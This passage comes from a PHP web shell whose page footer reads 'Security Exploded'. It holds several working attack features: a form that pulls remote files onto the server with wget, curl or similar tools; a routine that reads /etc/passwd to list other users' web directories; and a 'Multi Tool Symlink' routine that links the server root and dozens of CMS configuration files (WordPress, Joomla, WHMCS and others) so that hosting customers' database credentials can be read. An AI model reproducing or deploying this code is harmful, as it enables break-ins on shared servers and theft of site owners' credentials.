1711<form action="?y=<?=$pwd; ?>&x=upload" enctype="multipart/form-data" method="post"><table class="tabnet" style="width:320px;padding:0 1px;"><tr><th colspan="2"><b>Upload From Computer</b></th></tr><tr><td colspan="2"><p style="text-align:center;"><input style="color:#000000;" type="file" name="file" /><input type="submit" name="uploadcomp" class="inputzbut" value="Go" style="width:80px;"></p></td>
1712<tr><td colspan="2"><input type="text" class="inputz" style="width:99%;" name="path" value="<?=$pwd; ?>" /></td></tr>
1713</tr></table></form><table class="tabnet" style="width:320px;padding:0 1px;"><tr><th colspan="2"><b>Upload From URL</b></th></tr><tr><td colspan="2"><form method="post" style="margin:0;padding:0;" action="?y=<?=$pwd; ?>&x=upload">
1714<table><tr><td>Url</td><td><input class="inputz" type="text" name="wurl" style="width:250px;" value="http://www.some-code/exploits.c"></td></tr>
1715<tr><td colspan="2"><input type="text" class="inputz" style="width:99%;" name="path" value="<?=$pwd; ?>" /></td></tr>
1716<tr><td><select size="1" class="inputz" name="pilihan"><option value="wwget">Wget</option><option value="wlynx">Lynx</option><option value="wfread">Fread</option><option value="wfetch">Fetch</option><option value="wlinks">Links</option><option value="wget">Get</option><option value="wcurl">Curl</option>
1717</select></td><td colspan="2"><input type="submit" name="uploadurl" class="inputzbut" value="Go" style="width:246px;"></td></tr></form></table></td>
1718</tr></table><div style="text-align:center;margin:2px;"><?=$msg; ?></div>
1719<?php }
1720////////////////////////////////////////////////////////////////////////////////////
1721elseif(isset($_GET['x']) && ($_GET['x'] == 'jumping')){ @ini_set('output_buffering',0);
1722echo "
1723<table style=width:100%; border=0 class=tabnet cellpadding=3 cellspacing=1 align=center>
1724
1725 <tr>
1726 <td valign=top bgcolor=#151515 class=style2 style=width: 139px>
1727 <center><b><font size=5 style=italic color=#00ff00>Jumping</font></b></center></td></tr></table>
1728";
1729?>
1730 <form action="?y=<?=$pwd; ?>&x=jumping" method="post">
1731 <?php
1732 echo "<table class="cmdbox"><tr><td colspan="2">";
1733($sm = ini_get('safe_mode') == 0) ?
1734$sm = 'off': die("<b><blink><font style='color:#ff0000'>[-] ERROR</font></blink> : Safe_mode = On </b></td></tr></table>");
1735
1736set_time_limit(0);
1737echo "<table class="cmdbox"><tr><td colspan="2">";
1738@$passwd = fopen('/etc/passwd','r');
1739if (!$passwd) { die ("<b><blink><font style='color:#ff0000'>[-] ERROR</font></blink> : I Can't Read [ /etc/passwd ]</b></td></tr></table>
1740<br><br><br><br><center><div class="info"><b></div>
1741<br><br><div class="jaya"> © ".date('Y',time())." Security Exploded </b></div></center>"); }
1742$pub = array();
1743$users = array();
1744$conf = array();
1745$i = 0;
1746
1747while(!feof($passwd)){
1748$str = fgets($passwd);
1749if ($i > 100){ $pos = strpos($str,':');
1750$username = substr($str,0,$pos);
1751$dirz = '/home/'.$username.'/public_html/';
1752if (($username != '')){ if (is_readable($dirz)){ array_push($users,$username);
1753array_push($pub,$dirz); } } } $i++; }
1754foreach ($users as $user){
1755echo '
1756<table><tr><td>[Found !]</td>
1757 <td><a href="?y=/home/'.$user.'/public_html">/home/'.$user.'/public_html/</a><td></tr>'; }
1758 echo "</table>";
1759 }
1760
1761
1762/////////////////////////////////////////////////////////////////////////////////////
1763elseif(isset($_GET['x']) && ($_GET['x'] == 'symlink'))
1764{ @ini_set('output_buffering',0);
1765echo "
1766<table style=width:100%; border=0 class=tabnet cellpadding=3 cellspacing=1 align=center>
1767
1768 <tr>
1769 <td valign=top bgcolor=#151515 class=style2 style=width: 139px>
1770 <center><b><font size=5 style=italic color=#00ff00>Multi Tool Symlink</font></b></center></td></tr></table>
1771";
1772?>
1773<form action="?y=<?=$pwd; ?>&x=symlink" method="post">
1774<form method='post'><center><table class='tabnet'><tr><th colspan='5'><b>Multi Tool Symlink</b></th></tr><tr><th><b>Manual Symlink</b></th><th><b>Auto Symlink</b></th><th><b>Domain Viewer</b></th></tr><tr><td><input class='inputzbut' type='submit'name='symlinkr' value="Manual Symlink" /></td><td><input class='inputzbut' type='submit'name='symlinks' value="Auto Symlink" /></td><td><input class='inputzbut' type='submit' name='domain' value="Domain Viewer" /></td></tr></table></center></form><br><hr><br><br>
1775<?php
1776
1777#==================[ Multi Tool Symlink ]==================#
1778
1779if(isset($_POST['domain']))
1780{
1781 ?>
1782 <form action="?y=<?=$pwd; ?>&x=dv" method="post">
1783 <center><h2>[ Domain Viewer by ]<br>Notes: If Blank(No Domain) That Mean Not Work Use Domain Viewer, You Can Use Auto Symlink Server</center><br><br>
1784 <?php
1785 function openBaseDir()
1786{
1787$openBaseDir = ini_get("open_basedir");
1788if (!$openBaseDir)
1789 {
1790 $openBaseDir = '<font color="green">OFF</font>';
1791 }
1792 else
1793 {
1794 $openBaseDir = '<font color="red">ON</font>';
1795 }
1796 return $openBaseDir;
1797}
1798
1799
1800echo '
1801 <table width="95%" cellspacing="0" cellpadding="0" class="td1" >
1802 <td height="100" align="left" class="td1">';
1803 $pg = basename(__FILE__);
1804 $safe_mode = @ini_get('safe_mode');
1805 $dir = @getcwd();
1806 ////////////////////////////////////////////////////
1807 // LET'S PLAY ~
1808 ##.htaccess
1809@mkdir('explodedsym',0777);
1810@symlink("/","explodedsym/root");
1811$htaccss = "Options all
1812 DirectoryIndex Sux.html
1813 AddType text/plain .php
1814 AddHandler server-parsed .php
1815 AddType text/plain .html
1816 AddHandler txt .html
1817 Require None
1818 Satisfy Any";
1819
1820file_put_contents("explodedsym/.htaccess",$htaccss);
1821$etc = file_get_contents("/etc/passwd");
1822$etcz = explode("n",$etc);
1823
1824
1825##Symlink to the ROOT :p
1826foreach($etcz as $etz){
1827$etcc = explode(":",$etz);
1828error_reporting(0);
1829
1830$current_dir = posix_getcwd();
1831$dir = explode("/",$current_dir);
1832
1833symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/wp-config.php',"explodedsym/".$etcc[0].'-WordPress.txt');
1834symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/blog/wp-config.php',"explodedsym/".$etcc[0].'-WordPress.txt');
1835symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/wp/wp-config.php',"explodedsym/".$etcc[0].'-WordPress.txt');
1836symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/site/wp-config.php',"explodedsym/".$etcc[0].'-WordPress.txt');
1837symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/config.php',"explodedsym/".$etcc[0].'-PhpBB.txt');
1838symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/includes/config.php',"explodedsym/".$etcc[0].'-vBulletin.txt');
1839symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/configuration.php',"explodedsym/".$etcc[0].'-Joomla.txt');
1840symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/web/configuration.php',"explodedsym/".$etcc[0].'-Joomla.txt');
1841symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/joomla/configuration.php',"explodedsym/".$etcc[0].'-Joomla.txt');
1842symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/site/configuration.php',"explodedsym/".$etcc[0].'-Joomla.txt');
1843symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/conf_global.php',"explodedsym/".$etcc[0].'-IPB.txt');
1844symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/inc/config.php',"explodedsym/".$etcc[0].'-MyBB.txt');
1845symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/Settings.php',"explodedsym/".$etcc[0].'-SMF.txt');
1846symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/sites/default/settings.php',"explodedsym/".$etcc[0].'-Drupal.txt');
1847symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/e107_config.php',"explodedsym/".$etcc[0].'-e107.txt');
1848symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/datas/config.php',"explodedsym/".$etcc[0].'-Seditio.txt');
1849symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/includes/configure.php',"explodedsym/".$etcc[0].'-osCommerce.txt');
1850symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/client/configuration.php',"explodedsym/".$etcc[0].'-WHMCS.txt');
1851symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/clientes/configuration.php',"explodedsym/".$etcc[0].'-WHMCS.txt');
1852symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/support/configuration.php',"explodedsym/".$etcc[0].'-WHMCS.txt');
1853symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/supportes/configuration.php',"explodedsym/".$etcc[0].'-WHMCS.txt');
1854symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/whmcs/configuration.php',"explodedsym/".$etcc[0].'-WHMCS.txt');
1855symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/domain/configuration.php',"explodedsym/".$etcc[0].'-WHMCS.txt');
1856symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/hosting/configuration.php',"explodedsym/".$etcc[0].'-WHMCS.txt');
1857symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/whmc/configuration.php',"explodedsym/".$etcc[0].'-WHMCS.txt');
1858symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/billing/configuration.php',"explodedsym/".$etcc[0].'-WHMCS.txt');
1859symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/portal/configuration.php',"explodedsym/".$etcc[0].'-WHMCS.txt');
1860symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/order/configuration.php',"explodedsym/".$etcc[0].'-WHMCS.txt');
1861symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/clientarea/configuration.php',"explodedsym/".$etcc[0].'-WHMCS.txt');
1862symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/domains/configuration.php',"explodedsym/".$etcc[0].'-WHMCS.txt');
1863}
1864#############################
1865 if(is_readable("/var/named")){
1866 echo'<table align="center" border="1" width="45%" cellspacing="0" cellpadding="4" class="td1">';
1867 echo'<tr><td><center><b>SITE</b></center></td><td>
1868 <center><b>USER</b></center></td>
1869 <td></center><b>SYMLINK</b></center></td>';
1870 $list = scandir("/var/named");
1871 foreach($list as $domain){
1872 if(strpos($domain,".db")){
1873 $i += 1;
1874 $domain = str_replace('.db','',$domain);
1875 $owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
1876
1877 echo "<tr><td class='td1'><a href='http://".$domain." '>".$domain."</a></td>
1878 <td class='td1'><center><font color='red'>".$owner['name']."</font></center></td>
1879 <td class='td1'><center><a href='explodedsym/root".$owner['dir']."/".$dir[3]."' target='_blank'>DIR</a></center></td>";
1880 }
1881 }
1882 echo "<center>Total Domains Found: ".$i."</center><br />";
1883 }else{
1884 echo "<tr><td class='td1'>can't read [ /var/named ]</td><tr>"; }
1885
1886break;
1887
1888##################################
1889error_reporting(0);
1890$etc = file_get_contents("/etc/passwd");
1891$etcz = explode("n",$etc);
1892if(is_readable("/etc/passwd")){
1893
1894echo'<table align="center" border="1" width="45%" cellspacing="0" cellpadding="4" class="td1">';
1895echo'<tr><td><center><b>SITE</b></center></td><td><center><b>USER</b></center></td><td><center><b>SYMLINK</b></center></td>';
1896
1897$list = scandir("/var/named");
1898
1899foreach($etcz as $etz){
1900$etcc = explode(":",$etz);
1901
1902foreach($list as $domain){
1903if(strpos($domain,".db")){
1904$domain = str_replace('.db','',$domain);
1905$owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
1906if($owner['name'] == $etcc[0])
1907{
1908$i += 1;
1909echo "<tr><td class='td1'><a href='http://".$domain." '>".$domain."</a></td><center>
1910<td class='td1'><font color='red'>".$owner['name']."</font></center></td>
1911<td class='td1'><center><a href='explodedsym/root".$owner['dir']."/".$dir[3]."' target='_blank'>DIR</a></center></td>";
1912}}}}
1913echo "<center>Total Domains Found: ".$i."</center><br />";}
1914
1915break;
1916###############################
1917if(is_readable("/etc/named.conf")){
1918echo'<table align="center" border="1" width="45%" cellspacing="0" cellpadding="4" class="td1">';
1919echo'<tr><td><center><b>SITE</b></center></td><td><center><b>USER</b></center></td><td></center><b>SYMLINK</b></center></td>';
1920$named = file_get_contents("/etc/named.conf");
1921preg_match_all('%zone "(.*)" {%',$named,$domains);
1922foreach($domains[1] as $domain){
1923$domain = trim($domain);
1924$i += 1;
1925$owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
1926echo "<tr><td class='td1'><a href='http://".$domain." '>".$domain."</a></td><td class='td1'><center><font color='red'>".$owner['name']."</font></center></td><td class='td1'><center><a href='explodedsym/root".$owne